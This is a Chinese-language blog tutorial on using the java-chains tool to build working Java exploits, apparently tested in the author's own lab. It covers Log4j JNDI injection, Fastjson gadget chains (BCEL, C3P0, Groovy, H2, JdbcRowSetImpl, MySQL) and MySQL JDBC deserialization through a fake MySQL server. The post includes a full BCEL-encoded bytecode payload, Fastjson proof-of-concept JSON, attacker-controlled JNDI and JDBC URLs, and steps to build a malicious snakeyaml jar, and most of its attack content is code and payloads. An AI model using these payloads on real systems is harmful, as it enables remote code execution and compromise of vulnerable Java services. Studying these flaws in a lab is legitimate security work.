Java-chains探索
本文最后更新于 39 天前,其中的信息可能已经过时,如有 错误/失效 请发送邮件到xiaoc1737938763@gmail.com或留言。

偶然在github上看到java-chains,感觉蛮不错的,但是就是对新手不太友好,特此记录一下自己的探索过程。

安装方式有两种,官方文档写得很清楚,这里不再赘述。

https://github.com/vulhub/java-chains

https://java-chains.vulhub.org/zh/docs/guide

java-chains支持很多利用链,具体可以去查看官方文档。

后面我会用一些常用链来演示java-chains的使用方法。

JNDI

以 log4j2为例,log4j2版本选择2.14.0,小于2.14.1都可以

<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-core</artifactId>
 <version>2.14.0</version>
</dependency>
<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-api</artifactId>
 <version>2.14.0</version>
</dependency>
<dependency>
 <groupId>org.apache.logging.log4j</groupId>
 <artifactId>log4j-slf4j-impl</artifactId>
 <version>2.14.0</version>
</dependency>

info触发

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class lookUp {
   private static final Logger logger = LogManager.getLogger(lookUp.class);
   public static void main(String[] args) {
         logger.info("${jndi:ldap://127.0.0.1:1079/a}");
  }
}

jdk低版本

jdk版本小于8u191都行,没有限制ldap和rmi的远程字节码加载

然后再来说java-chains如何生成jndi的payload

首先需要来到jndi Control面板,把Reverse IP改为自己vps的IP,本地搭建的也建议不要用127.0.0.1,换一个其他网卡的IP

如果更改不了,就先点击关闭,然后修改Reverse IP,再启动就可以了(就这个坑我浪费了有半天时间,不先点关闭的话,改了之后就会发现没改上,还是127.0.0.1,之后发现是如果你在修改IP之前就点击生成过exp,这时候ldap服务就会自动启动,必须先点关闭才能改)

改好之后来到JNDIBasicPayload

默认选择第一个远程加载字节码,然后通常选择exec

要执行的命令在下面,展开即可,默认calc,然后点击生成。

请求刚刚生成的payload,成功执行

jdk高版本

jdk高版本大于8u191都可以,高版本的jdk对jndi有限制,需要设置TrustUrlCodeBase为true才行,但可以通过其他组件寻找其他利用链。

高版本的绕过可以参考浅蓝师傅的文章,这里我只演示部分。

https://tttang.com/archive/1405/#toc_0x00

java-chains能够生成fuzz payload,一键测试常规利用链,通过查看dnslog记录,生成可利用的链。官方文档也提到过,非常详细。

https://java-chains.vulhub.org/zh/docs/module/jndi

由于没有搭建web环境,这里就直接用info循环触发。

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
​
​
public class lookUp {
    private static final Logger logger = LogManager.getLogger(lookUp.class);
    public static void main(String[] args) {
        String[] jndiPayloads = {
                "ldap://x.x.x.x:50389/abf5f9",
                "ldap://x.x.x.x:50389/b16e1a",
                "ldap://x.x.x.x:50389/225541",
                "ldap://x.x.x.x:50389/034223",
                "ldap://x.x.x.x:50389/25071b",
                .....
        };
        for (String payload : jndiPayloads) {
            logger.info("${jndi:" + payload + "}");
        }
    }
}

我在pom.xml里面添加了Groovy,snakeyaml,ELProcessor,mvel2依赖,检测java-chains的爆破链能否fuzz出这三个依赖

<dependency>
 <groupId>org.codehaus.groovy</groupId>
 <artifactId>groovy-all</artifactId>
 <version>2.4.9</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-dbcp</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-catalina</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.apache.tomcat</groupId>
 <artifactId>tomcat-jasper</artifactId>
 <version>9.0.8</version>
</dependency>
<dependency>
 <groupId>org.yaml</groupId>
 <artifactId>snakeyaml</artifactId>
 <version>1.23</version>
</dependency>
<dependency>
 <groupId>org.mvel</groupId>
 <artifactId>mvel2</artifactId>
 <version>2.4.12.Final</version>
</dependency>

可以看到识别出了snakeyaml

Groovy

ELProcessor

mvel2不清楚为啥没有探测到,可能是bug,已经提了issue

ELProcessor

找到EL链并生成payload

成功执行

Groovy

根据dnslog,选择Groovy2ConvertGroovyConvert都可以

成功执行

snakeyaml

选择远程加载jar包

这里需要填写恶意jar包,可以使用github上现成的

https://github.com/artsploit/yaml-payload

克隆下来记得改一下执行命令,改完后打包一下就行

vim yaml-payload/src/artsploit/AwesomeScriptEngineFactory.java
cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

成功执行

mvel2

选择对应payload

成功执行

Fastjson

这里只对java-chains里面存在的链子进行复现。复现的环境使用的是github上的一位师傅的环境

https://github.com/safe6Sec/ShiroAndFastJson

BCEL-tomcat-dbcp

测试环境:

1.jdk8版本小于等于8u191

2.fastjson版本1.2.33 – 1.2.47

3.tomcat-dbcp <= 7.0.109

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>7.0.47</version>
</dependency>

payload选择Generate–>fastjsonPayload,然后选择bcel字节码加载

在下面还可以选择fastjson对应版本和对应依赖

将生成的payload进行json解析

package fastjsonGadget;

import com.alibaba.fastjson.JSON;

public class FastJsonExample {
   public static void main(String[] args) {
       String PoC = "{\n" +
               "   \"name\": {\n" +
               "       \"@type\": \"java.lang.Class\",\n" +
               "       \"val\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"\n" +
               "   },\n" +
               "   \"x1\": {\n" +
               "       \"name\": {\n" +
               "           \"@type\": \"java.lang.Class\",\n" +
               "           \"val\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
               "       },\n" +
               "       \"x2\": {\n" +
               "           \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
               "           \"x3\": {\n" +
               "               \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
               "               \"driverClassLoader\": {\n" +
               "                   \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
               "               },\n" +
               "               \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$dbR$TA$Q$3d$93$y$ec$sl$U$97$ab$e0$N$_$98$80$b0$40$W$88$82$60A$e9$83$Vo$b5$WT$f4i$b2$Z$c2b$b2$Tw$H$81w$7f$c2$_$e0$Z$a8$CKJ$3f$c0o$b2$d4$de$40$89$vx$99$9e$ee$d3$d3$7dN$f7$fc$fc$fd$ed$H$80$v$3ca$f0dX$b5y$83$7b$eb$c2$8e$d6$fdP$da$9e$dc$91J$d8$h$91$M$9e$c9$b0$ce$d5$8a$l$f9J$86$91$fd$9cBKR$d6$EoE$f2k$b3N$7er$86O$3a$c2q$b8$98$v$88$e9$7c$a5Rp$f8Z$c1q$9c$d9i$j$8c$a1s$83$7f$e2v$8d$HU$fbUyCxJG$92A$x$f3H0X$c53$d4U$a1$lT$e7$Y$92$91h$d0$e9$d5$x$M$ed$f3$7e$e0$ab$Fr$b3$b9$V$86$ae$b3$f4$a7$db$9eh$u_$G$3a$3aL$a4$90NCC$86A$97$d1x$c0$eb$c2$c0$e5$96$e6$eeN$a4D$5d$c7$V$86$8e$aaP$afC$d9$Q$a1$daa$Y$ce$9e$t$91$3b$l2$d1$85$ee4$y$f4$b4$96m$a2$3a$fa$a8$ac$92E$b9$r$c2$e5$a6$b4$ee$ec$85E$aeb$m$8d$7e$M$92$a2$z$3f0p$9d$c1$f0d$a0$b8$lD$M$83$ffsY$5e$e7$a1$x$3en$8a$c0$Ts$b9w$sn$e2V$fcv$88D$d2p$c6$c56$89$bcc$a2$N$ed$v$qp$8f$na$7b$G$ee$9b$d0O$o9J$b4$cb$7e$40$L60J$f0$Y$c1c$s$8c$T$d8f$e8$3f$ebF$D$f1D$U$zm$fa$b5$8a$IuL2$f4f$df_0$9a$95x$da$f94$7d$p$87$a1$zR$3cT$M$3d$zjOk$91$dc$Z$cc$c6$99$FR9$ef$d5Nw$a9y$bcFL$e6$d2D$826$a6$z$cb$K$N$y$e3$w$ee$7dx$c1$hoy$b9$s0D$a0F$bf5I$ddH$n$ddR$b1$ae$a65$9a6$B$W$ef$9d$ce$F$f2$3eSv$82$ac$3br$84KV$e7W$f4$k$e2$9au$e3$Q$b7$bf$a0$d3$ba$7b$80a$x$7b$80$91$5dd$ac$H$b13NN$fbw$f4$97$92$fb$YvK$da$3eF$dcR$db$3e$s$dc$e21$a6J$a3G$98$3e$c4$c3$d5$5dh$c5$3dj$a1$e1$r$de$c0$a4$db$o5$e9$83$f6$87$Y2$3dn$99$S$3a$cc_$mv$g1$7b$f4$8f$d1$40$93$P$88$cd$fc$B$s$8e$91$u$j$e1$f1$ea$5e3$86$bfi$c9$H3$8c$D$A$A\",\n" +
               "               \"$ref\": \"$.x1.x2.x3.connection\"\n" +
               "           }\n" +
               "       }\n" +
               "   }\n" +
               "}";
         JSON.parse(PoC);
  }
}

成功执行

BCEL-Mybatis

测试环境:

1.jdk8版本小于等于8u191

2.fastjson版本1.2.33 – 1.2.47

3.mybatis(具体版本范围不清楚,我这里用的是3.5.11)

<dependency>
   <groupId>org.mybatis</groupId>
   <artifactId>mybatis</artifactId>
   <version>3.5.11</version>
</dependency>

payload选择mybatis

成功执行

但BCEL-Mybatis字节码加载无法解决当fastjson版本处于1.2.25 – 1.2.32之间的问题,我在复现mybatis链子时发现了这位师傅的文章。

https://www.anquanke.com/post/id/283079

他给出了一个解决方法,首先第一次请求使用java.lang.Class将所有利用类加入到mapping中,第二次请求将UnpooledDataSource放到list的第一位,再调用getter实现RCE。payload如下:

js = "[{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},"+
"{\"@type\":\"java.lang.Class\",\"val\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\"},"+
"]";

System.out.println(js);
JSON.parse(js);

js = "["+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\", \"driverClassLoader\":{\"$ref\":\"$[1]\"}, \"driver\":\"$$BCEL$$...\"},"+
"{\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\",\"\":\"\"},"+
"{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"connection\":{}},"+
"{\"@type\":\"org.apache.ibatis.datasource.unpooled.UnpooledDataSource\",\"driver\":{\"$ref\":\"$.connection\"}}"+
"]";

System.out.println(js);
JSON.parse(js);

web复现,分两段发

C3P0

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本<=1.2.47

3.c3p0依赖(具体版本范围不清楚,我这里用的是0.9.5.2)

<dependency>
  <groupId>com.mchange</groupId>
  <artifactId>c3p0</artifactId>
  <version>0.9.5.2</version>
</dependency>

这里的CB链子的选择上要注意,查看自己测试环境上的CB版本是多少,如果是1.8.3的,是用不了CB1和CB5两条链的

成功执行

Groovy

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本1.2.76 <= fastjson < 1.2.83

3.groovy依赖

<dependency>
   <groupId>org.codehaus.groovy</groupId>
   <artifactId>groovy</artifactId>
   <version>2.4.12</version>
</dependency>

payload选择groovy

jar包生成参考

https://github.com/Lonely-night/fastjsonVul

打包成功后用python起一个http,jar包路径填上即可,成功触发

H2jdbc

测试环境:

1.jdk版本无限制(我测试环境用的8u401可以)

2.fastjson版本<=1.2.47

3.H2jdbc依赖

<dependency>
   <groupId>com.h2database</groupId>
   <artifactId>h2</artifactId>
   <version>2.2.220</version>
</dependency>

这里fastjson的版本我很疑惑,因为java-chains里面写的<=1.2.61,但是我实测出来只能在1.2.47以及之后的版本中可以,高于1.2.47不仅需要开启autotype,也需要将org.h2.jdbcx.JdbcDataSourcejava.lang.Class类加入白名单才可以成功触发利用链。

java-chains中payload选择FastjsonH2Jdbc–>BytecodeConvert–>Exec

同时还需要注意的是,图中的 }:和{}之间不要有空格

java-chains在生成exp时就会有空格,导致JSON.parse反序列化不成功。经测试,除了使用JSON.toJSONString(JSON.parse(PoC));和System.out.println(JSON.parse(PoC));这两个可以执行外,其他都无法触发利用链。所以最好还是删除空格,这样都可以触发。

JdbcRowSetImpl

这条链是最常见的,主要是不依赖任何库

测试环境:

1.jdk版本小于8u191

2.fastjson版本<=1.2.47

java-chains中选择JdbcRowSetImpl这条链点击生成即可。生成好之后在dataSourceName处修改jndi路径,jndi用java-chains生成,选择基础payload即可。

Mysqljdbc

主要复现一下5.1和8.0版本的,6.x版本的mysql感觉很冷门没啥人用。当然还有一些ssrf的链,但是java-chains中没有,就不再复现了。

在这里选择mysql版本,点击生成即可。

开启FakeMysql,会生成用户名

mysql 5.1

mysql版本5.1.11-5.1.48

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.47</version>
</dependency>

将host和username填入就行

mysql 8.0

Java-chains选择mysql 8.0的链子,mysql版本8.0.19

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

成功触发

JDBC

实际利用中mysql jdbc反序列化更常用一些,h2database反序列化之后再增加。

MySQL

该反序列化漏洞适用于mysql jdbc url可控,均可测试该漏洞

mysql5.1.11-5.x.xx

mysql-connector依赖

<dependency>
   <groupId>mysql</groupId>
   <artifactId>mysql-connector-java</artifactId>
   <version>5.1.47</version>
</dependency>

首先开启fakemysql,然后Java-chains中选择mysql jdbc的payload,填入fakemysql的用户以及ip:port

模拟mysql jdbc连接

package JDBC;

import java.sql.*;

public class JDBCRce {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=d247fc1";
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}

成功反序列化

mysql8.x-8.0.19

mysql-connector依赖

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

同样开启fakemysql,选择8.0.20的payload

测试,注意这里的driver类是com.mysql.cj.jdbc.Driver

package JDBC;
​
import java.sql.*;
​
public class JDBCRce {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.cj.jdbc.Driver";
        String DB_URL = "jdbc:mysql://x.x.x.x:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=da68652";
        Connection conn = DriverManager.getConnection(DB_URL);
    }
}
​
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇